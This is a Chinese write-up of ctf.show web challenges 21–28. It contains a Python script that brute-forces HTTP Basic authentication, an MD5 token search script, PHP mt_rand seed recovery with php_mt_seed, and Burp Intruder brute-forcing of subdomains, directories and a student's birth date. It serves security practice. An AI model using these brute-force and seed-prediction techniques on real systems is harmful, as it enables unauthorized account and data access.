1、web21
tomcat认证爆破–用户名:密码 ,一般使用custom iterator 爆破
From:https://www.cnblogs.com/007NBqaq/p/13220297.html
得到爆破字典和需要输入账号密码的网页,于是先尝试输入账号admin密码1234进行抓包
抓包后没有看到admin或password的字段,但是看到一串base编码
解码结果为admin:1234 即为我们输入的账号和密码
将数据包发送到爆破模块,选择中账号密码
选择自定义迭代器,分别导入字典 position1:用户名 position2:: position3:密码
选择Payload Processing进行编码设置 因为base64编码存在=,所以取消Palyload Encoding编码,爆破即可得到flag
提示也有脚本
import time
import requests
import base64
url = 'http://xxxx.ctf.show/index.php'
password = []
with open("1.txt", "r") as f:
while True:
data = f.readline()
if data:
password.append(data)
else:
break
for p in password:
strs = 'admin:'+ p[:-1]
header={
'Authorization':'Basic {}'.format(base64.b64encode(strs.encode('utf-8')).decode('utf-8'))
}
rep =requests.get(url,headers=header)
time.sleep(0.2)
if rep.status_code ==200:
print(rep.text)
break
2、web22
根据题目提示爆破子域名,使用在线工具进行爆破即可 访问vip.ctf.show 时即可得到flag
3、web23
关键代码
if(isset($_GET['token'])){
$token = md5($_GET['token']);
if(substr($token, 1,1)===substr($token, 14,1) && substr($token, 14,1) ===substr($token, 17,1)){
if((intval(substr($token, 1,1))+intval(substr($token, 14,1))+substr($token, 17,1))/substr($token, 1,1)===intval(substr($token, 31,1))){
echo $flag;
}
}
}else{
highlight_file(__FILE__);
}
isset() :检测变量是否已设置并且非NULL,若传入多个参数,只有全部非NULL才会返回true
intval() :获取变量的整数值,不能用于object
PHP的三个等号:比较对象的值和类型都要一样
两个等号:值相等即可
$a=10
$b='10'
$a==$b //true
$a===$b //false,a是数字型,b是字符型
此代码的意思为:
当md5码满足,第二位=第15位=第18位时,如果(第二位+第15位+第18位/第二位=第32位)整数,时输出flag
因此脚本为:
大佬的python脚本:
mport hashlib
dic = "0123456789qazwsxedcrfvtgbyhnujmikolp"
for a in dic:
for b in dic:
t = (str(a)+str(b)).encode("utf-8")
md5 = hashlib.md5(t).hexdigest()
if md5[1:2] == md5[14:15] and md5[14:15]== md5[17:18]:
if int(float(md5[1:2]))+int(float(md5[14:15]))+int(float(md5[17:18]))/int(float(md5[1:2]))==int(float(md5[31:32])):
print(t)
hashlib 是涉及安全散列和消息摘要,提供不同的加密算法接口,如MD5、SHA1、SHA224 等
digest() 返回摘要,作为二进制数据字符串值
hexdigest() 返回摘要,作为十六进制数据字符串值
传递运行出的token即可
4、web24
PHP伪随机数种子
题目:
include("flag.php");
if(isset($_GET['r'])){
$r = $_GET['r'];
mt_srand(372619038);
if(intval($r)===intval(mt_rand())){
echo $flag;
}
}else{
highlight_file(__FILE__);
echo system('cat /proc/version');
}
mt_srand():播种随机数生成器
intval():获取变量的整数值
mt_rand():返回随机整数
通过题目代码分析得我们需要将得到的伪随机数进行GET传参即可得到flag
<?php
mt_srand(372619038);
echo (mt_rand());
?>
5、web25
From:https://blog.csdn.net/qq_46918279/article/details/119849216
伪随机漏洞
题目
if(isset($_GET['r'])){
$r = $_GET['r'];
mt_srand(hexdec(substr(md5($flag), 0,8)));
$rand = intval($r)-intval(mt_rand());
if((!$rand)){
if($_COOKIE['token']==(mt_rand()+mt_rand())){
echo $flag;
}
}else{
echo $rand;
}
}else{
highlight_file(__FILE__);
echo system('cat /proc/version');
}
substr(str,start,length):返回部分字符串,第一个字符是0
hexdec():把十六进制字符串转换为十进制数字(float/int)
$_COOKIE:用于取回 cookie 的值
将我们输入的r的整数值等于随机数的随机值时可以进入第二个if,当cookie里的token==(mt_rand()+mt_rand()) 时会输出flag
因为mt_srand(hexdec(substr(md5($flag), 0,8))) 随机数种子不变,所以生成的随机数序列是不变的。
因此当我们GET传入r=0将会得到随机数序列的一个随机数的负值,那传入绝对值就能进入第二个if
之后使用php_mt_seed 得到可能的随机数种子
将下载好的压缩包解压后(三个文件)再在目录下使用mark更新(四个文件)得到php_mt_seed 文件
执行time ./php_mt_seed 2059482917 得到随机数种子 再使用脚本计算(mt_rand()+mt_rand())
<?php
mt_srand(seed);
echo mt_rand()."&&";
echo mt_rand()+mt_rand();
?>
传递参数r=2059482917 token=2754208432,获得flag
6、web26
网页代码:
function check(){
$.ajax({
url:'checkdb.php',
type: 'POST',
dataType:'json',
data:{
'a':$('#a').val(),
'p':$('#p').val(),
'd':$('#d').val(),
'u':$('#u').val(),
'pass':$('#pass').val()
},
success:function(data){
alert(data['msg']);
},
error:function(data){
alert(data['msg']);
}
});
}
jQuery:
From:https://www.cnblogs.com/tylerdonet/p/3520862.html
$.ajax():通过HTTP请求加载远程数据
url:类型为string,默认为当前页地址,发送请求地址
type:类型为string,请求方式,默认为GET
datatype:类型为string,预期服务器返回的数据类型
data:类型为object或string,发送到服务器的数据。对象必须为key/value
success、error:类型为function,请求成功或失败后被调用的函数
'a':$('#a').val():
$("#a")是id选择器,获得id为a的标签,通过.val(),获得这个标签的value的值,赋值给你声明的变量var a
这里val未设置参数,则返回被选元素当前值
抓包后将参数全部设置为空即可得到flag或者抓包爆破pass也可得到flag
7、web27
打开网页是一个教务管理系统,发现录取名单可以下载,学籍查询系统可以访问,输入嵇开梦同学的信息爆破 很快就爆破出来出生年月为19911016 将数据包的数据Unicode,解码即可
8、web28
题目提示:
通过暴力破解目录/0-100/0-100/看返回数据包,爆破的时候去掉2.txt 仅仅爆破目录即可
于是先抓包,爆破目录即可
这里有两个参数使用cluster bomb模式 这里有一个bug,需要点击下面的Hex再回到decimal才能刷新成功设置参数 过滤一下,只要2XX的响应包,即可得到flag
|